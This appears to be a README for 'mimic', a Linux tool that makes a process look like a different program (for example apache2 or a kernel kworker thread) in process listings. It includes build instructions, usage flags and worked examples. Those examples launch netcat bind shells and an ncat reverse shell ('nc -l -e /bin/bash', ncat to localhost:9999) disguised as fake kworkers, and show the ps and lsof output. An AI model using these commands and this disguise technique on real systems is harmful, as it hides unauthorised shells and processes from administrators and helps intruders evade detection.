Mimic – A Tool For Covert Execution In Linux

Mimic – A Tool For Covert Execution In Linux

mimic is a tool for covert execution on Linux x86_64.
What is “covert execution”?
Covert execution is the art of hiding a process. In this case, mimic hides the process in plain sight. mimic can launch any program and make it look like any other program. Any user can use it. It does not require special permissions. It does not require special binaries. It does not require a root kit.

What?! No special privileges??
That is correct. mimic works by rearranging the internal structures of a process in such a way that it confuses the /proc entry for that process. All tools that report the nature of a process do so by examining /proc. If we can bend /proc, then we can hide a process in plain sight. Since we are only altering the state of a process we own, anyone can successfully run mimic.
Can this be detected?!
Of course, but only if you are looking very closely, or running a forensic tool that is looking for this sort of thing. The usefulness behind mimic is that it will prevent someone from becoming suspicious in the first place.

Will this work with scripts?
Yes, but you need to call mimic directly on the interpreter. For example, if the first line of your script is “#!/usr/bin/perl” then you’ll want to call mimic like this:

empty@monkey:~$ mimic -e "/usr/bin/perl test.pl" 

By invoking the interpreter directly, mimic can work it’s magic.

Who is the target audience for mimic?
Anyone who legitimately needs covert execution before they have gotten root. This includes, but is not limited to:

  • Pentesters.
  • Investigators performing covert operations (with the prior approval of their Legal and HR departments, of course.)

Why is it called “mimic“?
Because “Liar, liar, /proc on fire!” was too long.

What is “set_target_pid”?
set_target_pid is a small helper program in the mimic suite that will exhaust pids until the one you want comes back around. This allows you to choose where in the process listing you want your process to sit. Note that the kernel reserves the first 300 pids for kernel threads. If you try to go below that, you’ll probably end up running with pid 301.

Installation

git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/mimic.git
cd mimic
make

Usage

usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
-e Execute COMMAND.
-m Setup COMMAND to look like MIMIC.
Default for non-root is: "/usr/sbin/apache2 -k start"
Default for root is: "[kworker/0:0]"
-b Launch COMMAND in the background.
-a Add / overwrite KEY to the mimic environment with associated VALUE.
-q Be quiet! Do not print normal output.
-h Print this helpful message.

Notes:
The MIMIC environment will be a copy of the COMMAND environment.
The '_' variable is automatically changed.
The -a flag can be called multiple times to add / overwrite multiple variables.

Examples:
mimic -e /bin/bash
set_target_pid 1 && mimic -e /bin/bash
mimic -b -e "./revsh"
mimic -b -e "nc -l -e /bin/bash"
mimic -b -e "nc -l -e \"mimic -e /bin/bash\""

Examples
First example – Launching a netcat listener as a regular user:

empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child... Success!
Waiting for child to attach... Success!
Initializing ptrace_do... Success!
Determining stack state... Success!
Politely requesting name change... Success!
Searching for main()... Success!
Building execution headers... Success!
Setting up final state... Success!

Good-bye and have a good luck! :)

empty@monkey:~$ ps aux | grep apache
empty 1931 19.5 0.0 16648 1324 pts/1 S 21:41 0:02 /usr/sbin/apache2 -k start
empty 1935 0.0 0.0 7596 836 pts/1 S+ 21:41 0:00 grep apache

empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty:
apache2 1931 empty 3u IPv6 14462 0t0 TCP *:31337 (LISTEN)
apache2 1931 empty 4u IPv4 14463 0t0 TCP *:31337 (LISTEN)

Second example – Launching a netcat reverse shell as root:

root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"

Can you spot the fake kworkers? Would you be able to without the help of grep?

root@monkey:~$ ps aux | grep kworker | grep -v grep
root 18 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/3:0]
root 197 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:3]
root 198 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:4]
root 199 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:5]
root 302 23.4 0.0 18748 1912 pts/5 S 22:28 0:02 [kworker/0:0]
root 304 11.4 0.0 3780 296 pts/5 S 22:28 0:00 [kworker/0:0]
root 305 10.8 0.0 10644 1200 pts/5 S 22:28 0:00 [kworker/0:0]
root 426 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/1:0]
root 434 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/3:2]
root 536 0.0 0.0 0 0 ? S 20:12 0:00 [kworker/0:0]
root 879 0.0 0.0 0 0 ? S 20:39 0:00 [kworker/2:0]
root 1463 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/1:2]
root 2132 0.0 0.0 0 0 ? S 19:47 0:00 [kworker/2:2]
root 2607 0.0 0.0 0 0 ? S 20:01 0:01 [kworker/0:1]

Of course, no kworker should have an open socket, but I’m sure you can be more creative with your naming choices than this. 🙂

root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0 302 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 304 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 305 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)

Note that I’m running here as root only because a kworker thread should be very suspicious running as a non-root user. The new mimic name is just a string. It doesn’t have to be an existing process. Hell, it doesn’t even have to be a real thing!

empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"

empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty 399 2.9 0.0 3780 300 pts/4 S 22:34 0:00 Totally not a rootkit!
empty 400 2.7 0.0 19372 2044 pts/4 S 22:34 0:00 Totally not a rootkit!

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